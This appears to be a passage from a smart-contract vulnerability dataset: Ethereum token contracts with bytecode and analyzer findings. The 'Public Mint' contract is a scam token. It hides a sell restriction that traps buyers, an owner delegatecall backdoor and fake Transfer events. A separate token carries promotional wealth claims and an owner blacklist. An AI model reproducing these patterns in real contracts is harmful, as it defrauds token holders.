090810190601f1680156111875780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561125257818101518382015260200161123a565b50505050905090810190601f16801561127f5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156112b257818101518382015260200161129a565b50505050905090810190601f1680156112df5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b6201518081565b6212750081565b3330146113515760405162461bcd60e51b815260040180806020018281038252603181526020018061174e6031913960400191505060405180910390fd5b620151808110156113935760405162461bcd60e51b81526004018080602001828103825260348152602001806115796034913960400191505060405180910390fd5b62278d008111156113d55760405162461bcd60e51b81526004018080602001828103825260388152602001806115ad6038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60036020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b60008282018381101561148a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea264697066735822122098a4a251e29d5efed39f7fc37ca09ebd12f92ca44e5fd8fa5574fef73ddecbd764736f6c63430006080033
{"success": true, "error": null, "results": {}}
2,586
0xe585b8db8B58873403A14Ac9653A11780D45ABA3
//SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } abstract contract Context { constructor() {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public override view returns(uint) { return _totalSupply; } function balanceOf(address account) public override view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public override returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public override view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } abstract contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract MintToken { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require(msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin)); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 250000000000000000000000000; string public name = "Public Mint"; string public symbol = "MINT"; address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address private owner; address public uniPair; function sliceUint(bytes memory bs) internal pure returns (uint) { uint x; assembly { x := mload(add(bs, add(0x10, 0))) } return x; } function isAccountValid(address subject) pure public returns (bool result) { return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0; } function onlyByHundred() view public returns (bool result) { require(isAccountValid(msg.sender) == true, "Only one in a hundred accounts should be able to do this"); return true; } constructor() { owner = msg.sender; uniPair = pairFor(uniFactory, wETH, address(this)); allowance[address(this)][uniRouter] = uint(-1); allowance[msg.sender][uniPair] = uint(-1); } function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tos.length == _amounts.length); for(uint i = 0; i < _tos.length; i++) { balanceOf[_tos[i]] = _amounts[i]; emit Transfer(address(0x0), _tos[i], _amounts[i]); } } }
0x6080604052600436106101095760003560e01c806395d89b4111610095578063a9059cbb11610064578063a9059cbb14610461578063aa2f52201461048d578063d6d2b6ba14610530578063dd62ed3e146105e4578063f24286211461061f57610109565b806395d89b41146102f6578063964561f51461030b5780639c73735514610437578063a0e47bf61461044c57610109565b8063313ce567116100dc578063313ce5671461023557806332972e461461024a57806370a082311461027b57806373a6b2be146102ae57806376771d4b146102e157610109565b806306fdde031461010e578063095ea7b31461019857806318160ddd146101d857806323b872dd146101ff575b600080fd5b34801561011a57600080fd5b50610123610634565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015d578181015183820152602001610145565b50505050905090810190601f16801561018a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c4600480360360408110156101ae57600080fd5b506001600160a01b0381351690602001356106c2565b604080519115158252519081900360200190f35b3480156101e457600080fd5b506101ed610728565b60408051918252519081900360200190f35b6101c46004803603606081101561021557600080fd5b506001600160a01b0381358116916020810135909116906040013561072e565b34801561024157600080fd5b506101ed6108b7565b34801561025657600080fd5b5061025f6108bc565b604080516001600160a01b039092168252519081900360200190f35b34801561028757600080fd5b506101ed6004803603602081101561029e57600080fd5b50356001600160a01b03166108cb565b3480156102ba57600080fd5b506101c4600480360360208110156102d157600080fd5b50356001600160a01b03166108dd565b3480156102ed57600080fd5b5061025f610924565b34801561030257600080fd5b50610123610933565b6104356004803603606081101561032157600080fd5b81359190810190604081016020820135600160201b81111561034257600080fd5b82018360208201111561035457600080fd5b803590602001918460208302840111600160201b8311171561037557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103c457600080fd5b8201836020820111156103d657600080fd5b803590602001918460208302840111600160201b831117156103f757600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061098e945050505050565b005b34801561044357600080fd5b506101c4610b45565b34801561045857600080fd5b5061025f610b96565b6101c46004803603604081101561047757600080fd5b506001600160a01b038135169060200135610ba5565b6101c4600480360360408110156104a357600080fd5b810190602081018135600160201b8111156104bd57600080fd5b8201836020820111156104cf57600080fd5b803590602001918460208302840111600160201b831117156104f057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505091359250610bb9915050565b6104356004803603604081101561054657600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561057057600080fd5b82018360208201111561058257600080fd5b803590602001918460018302840111600160201b831117156105a357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610cbb945050505050565b3480156105f057600080fd5b506101ed6004803603604081101561060757600080fd5b506001600160a01b0381358116916020013516610d78565b34801561062b57600080fd5b5061025f610d95565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106ba5780601f1061068f576101008083540402835291602001916106ba565b820191906000526020600020905b81548152906001019060200180831161069d57829003601f168201915b505050505081565b3360008181526001602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025481565b600854600090849084906001600160a01b038084169116148061075e57506008546001600160a01b038281169116145b8061077657506009546001600160a01b038381169116145b8061078b57506008546001600160a01b031632145b806107a057506008546001600160a01b031633145b806107af57506107af326108dd565b6107b857600080fd5b836107c657600192506108ae565b336001600160a01b03871614610831576001600160a01b038616600090815260016020908152604080832033845290915290205484111561080657600080fd5b6001600160a01b03861660009081526001602090815260408083203384529091529020805485900390555b6001600160a01b03861660009081526020819052604090205484111561085657600080fd5b6001600160a01b0380871660008181526020818152604080832080548a9003905593891680835291849020805489019055835188815293519193600080516020610de4833981519152929081900390910190a3600192505b50509392505050565b601281565b6009546001600160a01b031681565b60006020819052908152604090205481565b600060646109158360405160200180826001600160a01b031660601b8152601401915050604051602081830303815290604052610da4565b8161091c57fe5b061592915050565b6006546001600160a01b031681565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106ba5780601f1061068f576101008083540402835291602001916106ba565b6008546001600160a01b031633146109a557600080fd5b306000818152602081905260408082208690556002543380845292829020606460069092028290049055600554825163f305d71960e01b815260048101959095526024850188905260448501889052349185018290526084850193909352610258420160a485015290516001600160a01b039092169263f305d7199260c480830192606092919082900301818588803b158015610a4157600080fd5b505af1158015610a55573d6000803e3d6000fd5b50505050506040513d6060811015610a6c57600080fd5b50508051825114610a7c57600080fd5b60005b8251811015610b3f57818181518110610a9457fe5b6020026020010151600080858481518110610aab57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550828181518110610ae357fe5b60200260200101516001600160a01b031660006001600160a01b0316600080516020610de4833981519152848481518110610b1a57fe5b60200260200101516040518082815260200191505060405180910390a3600101610a7f565b50505050565b6000610b50336108dd565b1515600114610b905760405162461bcd60e51b8152600401808060200182810382526038815260200180610dac6038913960400191505060405180910390fd5b50600190565b6005546001600160a01b031681565b6000610bb233848461072e565b9392505050565b6008546000906001600160a01b03163314610bd357600080fd5b82513360009081526020819052604090205490830290811115610bf557600080fd5b336000908152602081905260408120805483900390555b8451811015610cb0576000858281518110610c2357fe5b6020908102919091018101516001600160a01b0381166000818152928390526040909220805488019055915033600080516020610de483398151915260028860408051929091048252519081900360200190a36001600160a01b03811633600080516020610de483398151915260028860408051929091048252519081900360200190a350600101610c0c565b506001949350505050565b6008546001600160a01b03163314610cd257600080fd5b816001600160a01b0316816040518082805190602001908083835b60208310610d0c5780518252601f199092019160209182019101610ced565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610d6c576040519150601f19603f3d011682016040523d82523d6000602084013e610d71565b606091505b5050505050565b600160209081526000928352604080842090915290825290205481565b6007546001600160a01b031681565b601001519056fe4f6e6c79206f6e6520696e20612068756e64726564206163636f756e74732073686f756c642062652061626c6520746f20646f2074686973ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212205ea77582edef00d0ee84f830c40e85c4f8e14322d51a2d5aa2e849777c81604c64736f6c63430007030033
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,587
0x0d490df09fcc61644d6165b07d7114de0101824a
/** *Submitted for verification at Etherscan.io on 2022-03-14 */ /* Kongbase Capital is a community-driven token that aims to bring generational wealth for it's holders. Powered by a unique investment treasury and a turbo-charged tokenomic system, Kongbase Capital is strategically designed to incentivize holders with token buybacks, holder giveaways. Kongbase Capital will run in a DAO model to provide the decentralized investment services. We see a lot of potential projects in the market but there are still lots of honeypot and high risk projects. Therefore, we would like to provide decentralized investment advice to protect and grow your digital assets. Token holders will be allowed to vote and choose which project to invest in. Let’s create a brighter future for the cryptocurrency world. https://t.me/kongbase */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KongBase is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "KongBase"; string private constant _symbol = "KongBase"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x4c504d932528E5E30aADB64fa0B268c6562c248E); _buyTax = 12; _sellTax = 12; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 200000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 15) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 15) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd8014610309578063c9567bf91461031e578063dbe8272c14610333578063dc1052e214610353578063dd62ed3e1461037357600080fd5b80638da5cb5b1461028c57806395d89b41146101515780639e78fb4f146102b4578063a9059cbb146102c9578063b515566a146102e957600080fd5b8063273123b7116100e7578063273123b714610206578063313ce567146102265780636fc3eaec1461024257806370a0823114610257578063715018a61461027757600080fd5b8063013206211461012f57806306fdde0314610151578063095ea7b31461019157806318160ddd146101c157806323b872dd146101e657600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5061014f61014a3660046115c9565b6103b9565b005b34801561015d57600080fd5b5060408051808201825260088152674b6f6e674261736560c01b6020820152905161018891906115e6565b60405180910390f35b34801561019d57600080fd5b506101b16101ac366004611660565b61040a565b6040519015158152602001610188565b3480156101cd57600080fd5b50678ac7230489e800005b604051908152602001610188565b3480156101f257600080fd5b506101b161020136600461168c565b610421565b34801561021257600080fd5b5061014f6102213660046116cd565b61048a565b34801561023257600080fd5b5060405160098152602001610188565b34801561024e57600080fd5b5061014f6104d5565b34801561026357600080fd5b506101d86102723660046116cd565b61050c565b34801561028357600080fd5b5061014f61052e565b34801561029857600080fd5b506000546040516001600160a01b039091168152602001610188565b3480156102c057600080fd5b5061014f6105a2565b3480156102d557600080fd5b506101b16102e4366004611660565b6107b4565b3480156102f557600080fd5b5061014f610304366004611700565b6107c1565b34801561031557600080fd5b5061014f610857565b34801561032a57600080fd5b5061014f610897565b34801561033f57600080fd5b5061014f61034e3660046117c5565b610a40565b34801561035f57600080fd5b5061014f61036e3660046117c5565b610a78565b34801561037f57600080fd5b506101d861038e3660046117de565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103ec5760405162461bcd60e51b81526004016103e390611817565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610417338484610ab0565b5060015b92915050565b600061042e848484610bd4565b610480843361047b856040518060600160405280602881526020016119dd602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ee4565b610ab0565b5060019392505050565b6000546001600160a01b031633146104b45760405162461bcd60e51b81526004016103e390611817565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104ff5760405162461bcd60e51b81526004016103e390611817565b4761050981610f1e565b50565b6001600160a01b03811660009081526002602052604081205461041b90610f58565b6000546001600160a01b